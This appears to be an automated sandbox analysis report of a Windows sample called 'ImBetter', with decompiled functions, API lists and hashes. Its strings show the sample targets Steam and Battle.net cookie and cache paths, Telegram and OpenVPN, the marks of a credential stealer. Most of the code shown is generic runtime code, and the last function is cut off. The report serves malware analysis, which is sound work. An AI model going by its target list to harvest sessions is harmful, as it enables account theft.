0x7ff7e6b19150
0x7ff7e6b19150
0x7ff7e6b19150
0x7ff7e6b19155
0x7ff7e6b1915a
0x7ff7e6b19160
0x7ff7e6b19168
0x7ff7e6b1916f
0x7ff7e6b19172
0x7ff7e6b19178
0x7ff7e6b1917c
0x7ff7e6b1917f
0x7ff7e6b19182
0x7ff7e6b19189
0x7ff7e6b1918e
0x7ff7e6b191a0
0x7ff7e6b191a5
0x7ff7e6b191b8
0x7ff7e6b191bd
0x7ff7e6b191cd
0x7ff7e6b191d2
0x7ff7e6b191d5
0x7ff7e6b191d9
0x7ff7e6b191dc
0x7ff7e6b191e1
0x7ff7e6b191e1
0x7ff7e6b191f0
0x7ff7e6b191f5
0x7ff7e6b191f9
0x7ff7e6b191fd
0x7ff7e6b19201
0x7ff7e6b19208
0x7ff7e6b19210
0x7ff7e6b19215
0x7ff7e6b19219
0x7ff7e6b19220
0x7ff7e6b19225
0x7ff7e6b19237
0x7ff7e6b1923c
0x7ff7e6b1924f
0x7ff7e6b19254
0x7ff7e6b19264
0x7ff7e6b19269
0x7ff7e6b1926c
0x7ff7e6b19273
0x7ff7e6b19276
0x7ff7e6b1927e
0x7ff7e6b1927e
0x7ff7e6b19290
0x7ff7e6b19295
0x7ff7e6b19299
0x7ff7e6b192a0
0x7ff7e6b192a4
0x7ff7e6b192ab
0x7ff7e6b192b3
0x7ff7e6b192b8
0x7ff7e6b192bc
0x7ff7e6b192c3
0x7ff7e6b192c8
0x7ff7e6b192da
0x7ff7e6b192df
0x7ff7e6b192f3
0x7ff7e6b192f8
0x7ff7e6b19309
0x7ff7e6b1930e
0x7ff7e6b19311
0x7ff7e6b19318
0x7ff7e6b1931b
0x7ff7e6b19323
0x7ff7e6b19323
0x7ff7e6b19335
0x7ff7e6b1933a
0x7ff7e6b1933f
0x7ff7e6b19346
0x7ff7e6b1934b
0x7ff7e6b19352
0x7ff7e6b1935a
0x7ff7e6b19360
0x7ff7e6b19365
0x7ff7e6b1936c
0x7ff7e6b19371
0x7ff7e6b19383
0x7ff7e6b19388
0x7ff7e6b1939c
0x7ff7e6b193a1
0x7ff7e6b193b2
0x7ff7e6b193b7
0x7ff7e6b193ba
0x7ff7e6b193c1
0x7ff7e6b193c4
0x7ff7e6b193cc
0x7ff7e6b193cc
0x7ff7e6b193de
0x7ff7e6b193e3
0x7ff7e6b193e8
0x7ff7e6b193ef
0x7ff7e6b193f4
0x7ff7e6b193fb
0x7ff7e6b19403
0x7ff7e6b19409
0x7ff7e6b1940e
0x7ff7e6b19411
0x7ff7e6b19418
0x7ff7e6b1941b
0x7ff7e6b19423
0x7ff7e6b19423
0x7ff7e6b19435
0x7ff7e6b19442
0x7ff7e6b19447
0x7ff7e6b19458
0x7ff7e6b1945d
0x7ff7e6b19465
0x7ff7e6b19468
0x7ff7e6b1946f
0x7ff7e6b19472
0x7ff7e6b1947a
0x7ff7e6b1947a
0x7ff7e6b1948c
0x7ff7e6b19492
0x7ff7e6b19497
0x7ff7e6b194a8
0x7ff7e6b194ad
0x7ff7e6b194b9
0x7ff7e6b194c5
0x7ff7e6b194d2
0x7ff7e6b194d7
0x7ff7e6b194e6
0x7ff7e6b194e6
0x7ff7e6b194e9
0x7ff7e6b194e9
0x7ff7e6b194f1
0x7ff7e6b194f7
0x7ff7e6b19500
0x7ff7e6b1950a
0x7ff7e6b19519
0x7ff7e6b1952e
0x7ff7e6b19534
0x7ff7e6b19539
0x7ff7e6b19541
0x7ff7e6b19547
0x7ff7e6b1954c
0x7ff7e6b19554
0x7ff7e6b1955e
0x7ff7e6b1956c
0x7ff7e6b19581
0x7ff7e6b19587
0x7ff7e6b1958c
0x7ff7e6b19594
0x7ff7e6b19599
0x7ff7e6b1959d
0x7ff7e6b195a6
0x7ff7e6b195b0
0x7ff7e6b195bf
0x7ff7e6b195d4
0x7ff7e6b195da
0x7ff7e6b195df
0x7ff7e6b195e7
0x7ff7e6b195ed
0x7ff7e6b195f2
0x7ff7e6b195fa
0x7ff7e6b19604
0x7ff7e6b19612
0x7ff7e6b19627
0x7ff7e6b1962d
0x7ff7e6b19632
0x7ff7e6b1963a
0x7ff7e6b1963f
0x7ff7e6b19643
0x7ff7e6b1964b
0x7ff7e6b19655
0x7ff7e6b19663
0x7ff7e6b19678
0x7ff7e6b1967e
0x7ff7e6b19683
0x7ff7e6b1968b
0x7ff7e6b19690
0x7ff7e6b19694
0x7ff7e6b1969c
0x7ff7e6b196a6
0x7ff7e6b196b4
0x7ff7e6b196c9
0x7ff7e6b196cf
0x7ff7e6b196d4
0x7ff7e6b196dc
0x7ff7e6b196e1
0x7ff7e6b196e5
0x7ff7e6b196ed
0x7ff7e6b196f7
0x7ff7e6b19705
0x7ff7e6b1971a
0x7ff7e6b19720
0x7ff7e6b19725
0x7ff7e6b1972d
0x7ff7e6b19732
0x7ff7e6b19736
0x7ff7e6b1973e
0x7ff7e6b19748
0x7ff7e6b19756
0x7ff7e6b1976b
0x7ff7e6b1978d

APIs

Part of subcall function 00007FF7E6B03900: __std_fs_code_page.LIBCPMT ref: 00007FF7E6B03923
Part of subcall function 00007FF7E6B03900: __std_fs_convert_narrow_to_wide.LIBCPMT ref: 00007FF7E6B03976
Part of subcall function 00007FF7E6B03900: __std_fs_convert_narrow_to_wide.LIBCPMT ref: 00007FF7E6B039AE

Part of subcall function 00007FF7E6B09B50: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B09C6C
Part of subcall function 00007FF7E6B09B50: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7E6B09C72

Part of subcall function 00007FF7E6B02FD0: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B030B2
Part of subcall function 00007FF7E6B02FD0: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7E6B030BE

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B1978E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B19794
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B1979A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B197A0
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B197A6
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B197AC
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B197B2
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B197B8

Strings

OpenVPN, xrefs: 00007FF7E6B19427
SteamCookies, xrefs: 00007FF7E6B191E5
BattlNetDB, xrefs: 00007FF7E6B193D0
Steam\htmlcache\Local Storage\leveldb, xrefs: 00007FF7E6B19219
Telegram, xrefs: 00007FF7E6B1947E
BattleNetCookies, xrefs: 00007FF7E6B19327
Battle.net\BrowserCache\Cookies, xrefs: 00007FF7E6B192BC
Steam\htmlcache\Cookies, xrefs: 00007FF7E6B19182
%, xrefs: 00007FF7E6B19225
Battle.net\CachedData, xrefs: 00007FF7E6B19365
~, xrefs: 00007FF7E6B192F8
SteamDB, xrefs: 00007FF7E6B19282

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_task__std_fs_convert_narrow_to_wide$__std_fs_code_page
String ID: %$BattlNetDB$Battle.net\BrowserCache\Cookies$Battle.net\CachedData$BattleNetCookies$OpenVPN$SteamCookies$SteamDB$Steam\htmlcache\Cookies$Steam\htmlcache\Local Storage\leveldb$Telegram$~
API String ID: 2277398295-4093733302
Opcode ID: c759c9f3746cc60bf810b2a21945ca4661537df77baed128443d27bcee8f00d3
Instruction ID: a26db3c0ff10b68d1326db76747da95072ec2e3fe100b5c73580bd6c89d649b1
Opcode Fuzzy Hash: c759c9f3746cc60bf810b2a21945ca4661537df77baed128443d27bcee8f00d3
Instruction Fuzzy Hash: B2028862A347C695EB10EF28DC453EEB321FB94394F505322EA9D1699AEF7CD184C311

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B435A8 Relevance: 27.2, APIs: 18, Instructions: 229
fileCOMMONCrypto

Download Yara Rule

C-Code - Quality: 18%

			E00007FF77FF7E6B435A8(signed int __ecx, void* __eflags, long long __rbx, void* __rcx, signed long long* __rdx, long long __rsi, void* __r9) {
				void* _t73;
				signed int _t76;
				signed char _t80;
				signed int _t83;
				signed int _t84;
				signed char _t91;
				signed int _t94;
				unsigned int _t102;
				signed int _t108;
				signed int _t132;
				signed int _t140;
				signed long long _t152;
				signed long long _t153;
				intOrPtr _t161;
				union _GET_FILEEX_INFO_LEVELS _t184;
				WCHAR* _t189;
				void* _t192;
				signed long long _t193;
				WCHAR* _t201;

				 *((long long*)(_t192 + 0x18)) = __rbx;
				 *((long long*)(_t192 + 0x20)) = __rsi;
				_t193 = _t192 - 0x2b0;
				_t152 =  *0xe6b6bbc0; // 0x7a937e77a598
				_t153 = _t152 ^ _t193;
				 *(_t192 - 0x1b0 + 0x1a0) = _t153;
				_t108 = r8d & 0xfffffffe;
				_t91 = r8b & 0x00000001;
				if (__eflags == 0) goto 0xe6b435fd;
				if ((_t108 >> 0x00000002 & 0x00000001) == 0) goto 0xe6b435fd;
				goto 0xe6b4387c;
				_t94 = __ecx | 0xffffffff;
				if ((_t108 >> 0x00000001 & 0x00000001) == 0) goto 0xe6b43622;
				if (r9d == _t94) goto 0xe6b43622;
				if ((r9d >> 0x0000000a & 0x00000001) == 0) goto 0xe6b4361b;
				if (_t91 != 0) goto 0xe6b43622;
				__rdx[2] = r9d;
				if ((_t108 & 0xfffffffd) == 0) goto 0xe6b4387a;
				if ((dil & 0x0000002a) == 0) goto 0xe6b43705;
				if (r9d == _t94) goto 0xe6b4364b;
				r9d = r9d >> 0xa;
				if ((r9b & 0x00000001) == 0) goto 0xe6b4364b;
				if (_t91 != 0) goto 0xe6b43705;
				if (GetFileAttributesExW(_t201, _t184) != 0) goto 0xe6b436b0;
				if (GetLastError() != 0x20) goto 0xe6b4387c;
				FindFirstFileW(_t189);
				if (_t153 != 0xffffffff) goto 0xe6b4368d;
				GetLastError();
				goto 0xe6b4387c;
				FindClose(??);
				r8d =  *(_t193 + 0x6c);
				r9d =  *(_t193 + 0x70);
				 *(_t193 + 0x3c) =  *((intOrPtr*)(_t193 + 0x64));
				goto 0xe6b436c3;
				r9d =  *(_t193 + 0x48);
				r8d =  *(_t193 + 0x44);
				_t102 =  *(_t193 + 0x28);
				if (_t91 == 0) goto 0xe6b436d1;
				_t132 = _t102 >> 0x0000000a & 0x00000001;
				if (_t132 != 0) goto 0xe6b43705;
				__rdx[2] = _t102;
				__rdx[1] = _t193 + 0x00000050 << 0x00000020 | _t153;
				 *__rdx =  *(_t193 + 0x3c) & 0x00000000 | 0x00000000;
				if (_t132 == 0) goto 0xe6b4387a;
				r9d = _t91 & 0x000000ff;
				r9d = r9d ^ 0x00000001;
				r8d = 0x80;
				r9d = r9d + 0x10;
				r9d = r9d << 0x15;
				_t73 = E00007FF77FF7E6B438D8( *(_t193 + 0x3c) & 0x00000000 | 0x00000000, __rbx, _t193 + 0x20, __rcx);
				if (_t73 == 0) goto 0xe6b4374e;
				if ( *((intOrPtr*)(_t193 + 0x20)) == 0xffffffff) goto 0xe6b43747;
				if (CloseHandle(??) == 0) goto 0xe6b438bd;
				goto 0xe6b4387c;
				_t161 =  *((intOrPtr*)(_t193 + 0x20));
				if ((dil & 0x00000026) == 0) goto 0xe6b4380b;
				r9d = 0x28;
				__imp__GetFileInformationByHandleEx();
				if (_t73 != 0) goto 0xe6b4379d;
				_t76 = GetLastError();
				if (_t161 == 0xffffffff) goto 0xe6b43796;
				if (CloseHandle(??) == 0) goto 0xe6b438cf;
				goto 0xe6b4387c;
				 *__rdx =  *(_t193 + 0x38);
				_t80 = (_t76 & 0xffffffdd) >> 2;
				__rdx[2] =  *(_t193 + 0x48);
				_t140 = _t80 & 0x00000001;
				if (_t140 == 0) goto 0xe6b4380b;
				asm("bt ecx, 0xa");
				if (_t140 >= 0) goto 0xe6b43804;
				r9d = 8;
				__imp__GetFileInformationByHandleEx();
				if (_t80 != 0) goto 0xe6b437fb;
				GetLastError();
				if (_t161 == 0xffffffff) goto 0xe6b43796;
				if (CloseHandle(??) == 0) goto 0xe6b438c3;
				goto 0xe6b43796;
				_t83 =  *(_t193 + 0x24);
				__rdx[2] = _t83;
				goto 0xe6b43808;
				__rdx[2] = __rdx[2] & 0x00000000;
				r9d = 0x18;
				if ((r9b & dil) == 0) goto 0xe6b43863;
				__imp__GetFileInformationByHandleEx();
				if (_t83 != 0) goto 0xe6b43850;
				_t84 = GetLastError();
				if (_t161 == 0xffffffff) goto 0xe6b43796;
				if (CloseHandle(??) == 0) goto 0xe6b438c9;
				goto 0xe6b43796;
				__rdx[1] =  *((intOrPtr*)(_t193 + 0x30));
				__rdx[3] =  *(_t193 + 0x38);
				if ((_t84 & 0xffffffe7) != 0) goto 0xe6b438a3;
				if (_t161 == 0xffffffff) goto 0xe6b4387a;
				if (CloseHandle(??) == 0) goto 0xe6b438bd;
				return E00007FF77FF7E6B3C7F0(0,  *(_t193 + 0x48),  *(_t192 - 0x1b0 + 0x1a0) ^ _t193);
			}

0x7ff7e6b435a8
0x7ff7e6b435ad
0x7ff7e6b435be
0x7ff7e6b435c5
0x7ff7e6b435cc
0x7ff7e6b435cf
0x7ff7e6b435dc
0x7ff7e6b435e5
0x7ff7e6b435e8
0x7ff7e6b435f1
0x7ff7e6b435f8
0x7ff7e6b435ff
0x7ff7e6b43606
0x7ff7e6b4360b
0x7ff7e6b43615
0x7ff7e6b43619
0x7ff7e6b4361e
0x7ff7e6b43624
0x7ff7e6b4362e
0x7ff7e6b43637
0x7ff7e6b43639
0x7ff7e6b43641
0x7ff7e6b43645
0x7ff7e6b4365d
0x7ff7e6b43668
0x7ff7e6b43676
0x7ff7e6b43680
0x7ff7e6b43682
0x7ff7e6b43688
0x7ff7e6b43690
0x7ff7e6b4369f
0x7ff7e6b436a4
0x7ff7e6b436a9
0x7ff7e6b436ae
0x7ff7e6b436b0
0x7ff7e6b436b5
0x7ff7e6b436bf
0x7ff7e6b436c5
0x7ff7e6b436cc
0x7ff7e6b436cf
0x7ff7e6b436d1
0x7ff7e6b436ee
0x7ff7e6b436f9
0x7ff7e6b436ff
0x7ff7e6b43705
0x7ff7e6b4370e
0x7ff7e6b43712
0x7ff7e6b43718
0x7ff7e6b4371f
0x7ff7e6b43723
0x7ff7e6b4372c
0x7ff7e6b43737
0x7ff7e6b43741
0x7ff7e6b43749
0x7ff7e6b4374e
0x7ff7e6b43757
0x7ff7e6b4375d
0x7ff7e6b4376d
0x7ff7e6b43775
0x7ff7e6b43777
0x7ff7e6b43783
0x7ff7e6b43790
0x7ff7e6b43798
0x7ff7e6b437a9
0x7ff7e6b437ae
0x7ff7e6b437b1
0x7ff7e6b437b4
0x7ff7e6b437b6
0x7ff7e6b437b8
0x7ff7e6b437bc
0x7ff7e6b437be
0x7ff7e6b437d0
0x7ff7e6b437d8
0x7ff7e6b437da
0x7ff7e6b437e6
0x7ff7e6b437f3
0x7ff7e6b437f9
0x7ff7e6b437fb
0x7ff7e6b437ff
0x7ff7e6b43802
0x7ff7e6b43804
0x7ff7e6b4380b
0x7ff7e6b43814
0x7ff7e6b43822
0x7ff7e6b4382a
0x7ff7e6b4382c
0x7ff7e6b43838
0x7ff7e6b43849
0x7ff7e6b4384b
0x7ff7e6b43858
0x7ff7e6b43860
0x7ff7e6b43865
0x7ff7e6b4386b
0x7ff7e6b43878
0x7ff7e6b438a2

APIs

GetFileAttributesExW.KERNEL32 ref: 00007FF7E6B43655
GetLastError.KERNEL32 ref: 00007FF7E6B4365F
FindFirstFileW.KERNEL32 ref: 00007FF7E6B43676
GetLastError.KERNEL32 ref: 00007FF7E6B43682
FindClose.KERNEL32 ref: 00007FF7E6B43690
__std_fs_open_handle.LIBCPMT ref: 00007FF7E6B43723
CloseHandle.KERNEL32 ref: 00007FF7E6B43739
CloseHandle.KERNEL32 ref: 00007FF7E6B438AC

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: Close$ErrorFileFindHandleLast$AttributesFirst__std_fs_open_handle
String ID:
API String ID: 2398595512-0
Opcode ID: 9bcf382319bdab9ed61bf7e24154a768fc96837bb821c17e42942583379923b9
Instruction ID: af76077a757cd1fc7afbe0125a11bee6ff7c178c0c5c15babaad2adec7f3d478
Opcode Fuzzy Hash: 9bcf382319bdab9ed61bf7e24154a768fc96837bb821c17e42942583379923b9
Instruction Fuzzy Hash: 17915531A2C64246E6646B26AC14777F3A0AF95770FA84332D9AD477D4EF3CE4058722

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B3835C Relevance: 24.0, APIs: 9, Strings: 4, Instructions: 1203
COMMONCrypto

Download Yara Rule

C-Code - Quality: 68%

			E00007FF77FF7E6B3835C(void* __edx, void* __rbx, unsigned int __rcx, void* __rdi, void* __rsi, long long __r9, signed int __r10, void* __r12, void* __r14, void* __r15) {
				signed long long _t32;
				void* _t43;
				void* _t45;
				void* _t46;
				signed long long _t47;
				long long _t54;

				_t43 = __rdi;
				_t45 = _t46 - 0x6e0;
				_t47 = _t46 - 0x7e0;
				_t32 =  *0xe6b6bbc0; // 0x7a937e77a598
				 *(_t45 + 0x6d0) = _t32 ^ _t47;
				_t54 =  *((intOrPtr*)(_t45 + 0x740));
				 *(_t47 + 0x30) = __rcx;
				 *((long long*)(_t47 + 0x78)) = _t54;
				 *((long long*)(_t45 - 0x78)) = __r9;
				 *((intOrPtr*)(_t47 + 0x74)) = r8d;
				E00007FF77FF7E6B3B0B8(_t47 + 0x60);
				r15d = 1;
				if (( *(_t47 + 0x60) & 0x0000001f) != 0x1f) goto 0xe6b383c8;
				 *((char*)(_t47 + 0x68)) = 0;
				goto 0xe6b383d7;
				E00007FF77FF7E6B3B124(( *(_t47 + 0x60) & 0x0000001f) - 0x1f, _t47 + 0x60);
				 *((intOrPtr*)(_t47 + 0x68)) = r15b;
				 *((long long*)(__r9 + 8)) = _t54;
				_t15 = _t43 + 0xd; // 0x2d
				_t22 =  <  ? _t15 : 0x20;
				r8d = 0;
				 *((intOrPtr*)(__r9)) =  <  ? _t15 : 0x20;
				E00007FF77FF7E6B3B054(0, _t32 ^ _t47, _t47 + 0x70);
				r10d = 0x7ff;
				if (( *(_t47 + 0x30) >> 0x00000034 & __r10) != 0) goto 0xe6b38442;
			}

0x7ff7e6b3835c
0x7ff7e6b38367
0x7ff7e6b3836f
0x7ff7e6b38376
0x7ff7e6b38380
0x7ff7e6b38387
0x7ff7e6b38391
0x7ff7e6b3839d
0x7ff7e6b383a2
0x7ff7e6b383a6
0x7ff7e6b383ab
0x7ff7e6b383b4
0x7ff7e6b383bf
0x7ff7e6b383c1
0x7ff7e6b383c6
0x7ff7e6b383cd
0x7ff7e6b383d2
0x7ff7e6b383e3
0x7ff7e6b383eb
0x7ff7e6b383ee
0x7ff7e6b383f1
0x7ff7e6b383f6
0x7ff7e6b383ff
0x7ff7e6b38407
0x7ff7e6b3841e

APIs

fegetenv.LIBCMT ref: 00007FF7E6B383AB
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E6B389DE
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E6B38B54
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E6B38E10
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E6B39030
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E6B3926B
memcpy_s.LIBCPMT ref: 00007FF7E6B39346
memcpy_s.LIBCPMT ref: 00007FF7E6B393F1
memcpy_s.LIBCPMT ref: 00007FF7E6B394C1

Part of subcall function 00007FF7E6B3959C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7E6B395CE

Strings

1#INF, xrefs: 00007FF7E6B384D7
1#IND, xrefs: 00007FF7E6B3849B
1#SNAN, xrefs: 00007FF7E6B384BE
1#QNAN, xrefs: 00007FF7E6B384C7

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: _invalid_parameter_noinfo$memcpy_s$fegetenv
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 808467561-2761157908
Opcode ID: d37f6a438562492c7baf2c93cd2113ed6b5f242c1c1590da4598a68a1323be8c
Instruction ID: e4c511c7a79c3658b512bcb38aaa15f22d4f070cd3479bc7a16d69c0b0d8dd23
Opcode Fuzzy Hash: d37f6a438562492c7baf2c93cd2113ed6b5f242c1c1590da4598a68a1323be8c
Instruction Fuzzy Hash: B0B2E872B682828BE765AF24DC407FEB7A1FB44354FA05136DA0957E84EF78E500CB52

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B09D40 Relevance: 12.7, APIs: 4, Strings: 3, Instructions: 421
COMMONCrypto

Download Yara Rule

C-Code - Quality: 94%

			E00007FF77FF7E6B09D40(long long __rbx, void* __rcx, long long __rbp, long long _a16, long long _a24) {
				signed int _v40;
				long long _v48;
				char _v52;
				char _v56;
				void* __rsi;
				void* _t25;
				void* _t26;
				intOrPtr _t28;
				void* _t31;
				void* _t35;
				void* _t39;
				void* _t43;
				signed long long _t52;
				signed long long _t53;
				intOrPtr _t54;
				intOrPtr _t55;
				long long _t61;
				intOrPtr _t67;
				signed long long _t76;
				signed long long _t77;
				signed int _t78;
				long long _t80;
				void* _t82;
				void* _t85;

				_a16 = __rbx;
				_a24 = __rbp;
				_t83 = _t82 - 0x40;
				_t52 =  *0xe6b6bbc0; // 0x7a937e77a598
				_t53 = _t52 ^ _t82 - 0x00000040;
				_v40 = _t53;
				_t85 = __rcx;
				_t26 = E00007FF77FF7E6B43D9C(_t25, 0,  &_v52);
				_t80 =  *0xe6b6e0b0;
				_v48 = _t80;
				_t76 =  *0xe6b6dcd0; // 0x1
				if (_t76 != 0) goto 0xe6b09dc6;
				E00007FF77FF7E6B43D9C(_t26, 0,  &_v56);
				_t43 =  *0xe6b6dcd0 - _t76; // 0x1
				if (_t43 != 0) goto 0xe6b09db5;
				_t28 =  *0xe6b6dcb8; // 0x3
				 *0xe6b6dcb8 = _t28 + 1;
				 *0xe6b6dcd0 = _t53;
				_t31 = E00007FF77FF7E6B43E14(_t53,  &_v56);
				_t77 =  *0xe6b6dcd0; // 0x1
				_t67 =  *((intOrPtr*)(_t85 + 8));
				_t78 = _t77 * 8;
				if (_t77 -  *((intOrPtr*)(_t67 + 0x18)) >= 0) goto 0xe6b09de7;
				_t54 =  *((intOrPtr*)(_t67 + 0x10));
				if ( *((intOrPtr*)(_t78 + _t54)) != 0) goto 0xe6b09e46;
				goto 0xe6b09de9;
				if ( *((char*)(_t67 + 0x24)) == 0) goto 0xe6b09e02;
				E00007FF77FF7E6B44068(_t31);
				if (_t77 -  *((intOrPtr*)(_t54 + 0x18)) >= 0) goto 0xe6b09e07;
				_t55 =  *((intOrPtr*)(_t54 + 0x10));
				if ( *((intOrPtr*)(_t78 + _t55)) != 0) goto 0xe6b09e46;
				if (_t80 == 0) goto 0xe6b09e11;
				goto 0xe6b09e46;
				E00007FF77FF7E6B03C60(_t55, _t80,  &_v48, _t85, _t78);
				if (_t55 == 0xffffffff) goto 0xe6b09e73;
				_t61 = _v48;
				_v48 = _t61;
				E00007FF77FF7E6B44030(_t55 - 0xffffffff, _t55, _t61);
				_t35 =  *((intOrPtr*)( *_t61 + 8))();
				 *0xe6b6e0b0 = _t61;
				return E00007FF77FF7E6B3C7F0(E00007FF77FF7E6B43E14(_t35,  &_v52), _t39, _v40 ^ _t83);
			}

0x7ff7e6b09d40
0x7ff7e6b09d45
0x7ff7e6b09d4e
0x7ff7e6b09d52
0x7ff7e6b09d59
0x7ff7e6b09d5c
0x7ff7e6b09d61
0x7ff7e6b09d6b
0x7ff7e6b09d71
0x7ff7e6b09d78
0x7ff7e6b09d7d
0x7ff7e6b09d87
0x7ff7e6b09d90
0x7ff7e6b09d95
0x7ff7e6b09d9c
0x7ff7e6b09d9e
0x7ff7e6b09da6
0x7ff7e6b09dae
0x7ff7e6b09dba
0x7ff7e6b09dbf
0x7ff7e6b09dc6
0x7ff7e6b09dca
0x7ff7e6b09dd6
0x7ff7e6b09dd8
0x7ff7e6b09de3
0x7ff7e6b09de5
0x7ff7e6b09ded
0x7ff7e6b09def
0x7ff7e6b09df8
0x7ff7e6b09dfa
0x7ff7e6b09e05
0x7ff7e6b09e0a
0x7ff7e6b09e0f
0x7ff7e6b09e19
0x7ff7e6b09e22
0x7ff7e6b09e24
0x7ff7e6b09e29
0x7ff7e6b09e31
0x7ff7e6b09e3c
0x7ff7e6b09e3f
0x7ff7e6b09e72

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7E6B09D6B
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7E6B09D90
std::_Facet_Register.LIBCPMT ref: 00007FF7E6B09E31
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7E6B09E73

Part of subcall function 00007FF7E6B01800: __std_exception_copy.LIBVCRUNTIME ref: 00007FF7E6B01868

Strings

ios_base::eofbit set, xrefs: 00007FF7E6B0A1D8
ios_base::failbit set, xrefs: 00007FF7E6B0A1D1
ios_base::badbit set, xrefs: 00007FF7E6B0A1C5

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: std::_$LockitLockit::_$Concurrency::cancel_current_taskFacet_Register__std_exception_copy
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 4001204288-1866435925
Opcode ID: 6fb5b1659d75c1a456228311c4ea4a248f7649f476c24b7b7c0a793d7ce47a31
Instruction ID: 928c1ec7494ee975a4354a68d0220340a01474ccef3538a57901475f13109208
Opcode Fuzzy Hash: 6fb5b1659d75c1a456228311c4ea4a248f7649f476c24b7b7c0a793d7ce47a31
Instruction Fuzzy Hash: EAF1A322628A41C1EB90FF16E89077ABB60FB94B98FA88533DA4E47795DF3DD441C311

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B3622C Relevance: 10.7, APIs: 7, Instructions: 171
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 59%

			E00007FF77FF7E6B3622C(void* __ecx, void* __edx, long long __rcx, intOrPtr* __rdx, void* __r8, void* __r9, void* __r10) {
				signed int _v72;
				int _v80;
				int _v84;
				signed int _v88;
				void* __rbx;
				void* __rsi;
				void* __rbp;
				int _t60;
				intOrPtr _t61;
				void* _t73;
				intOrPtr _t82;
				intOrPtr _t84;
				void* _t90;
				signed long long _t116;
				signed long long _t117;
				intOrPtr* _t118;
				intOrPtr* _t119;
				intOrPtr* _t120;
				intOrPtr* _t121;
				intOrPtr* _t122;
				void* _t125;
				intOrPtr* _t126;
				signed long long _t134;
				signed long long _t136;
				void* _t147;
				void* _t148;
				signed long long _t149;
				void* _t151;
				void* _t159;
				long long _t161;
				intOrPtr* _t163;

				_t159 = __r9;
				_t141 = __rdx;
				_t127 = __rcx;
				_t73 = __ecx;
				_t116 =  *0xe6b6bbc0; // 0x7a937e77a598
				_t117 = _t116 ^ _t151 - 0x00000040;
				_v72 = _t117;
				_t147 = __r8;
				_t163 = __rdx;
				_t161 = __rcx;
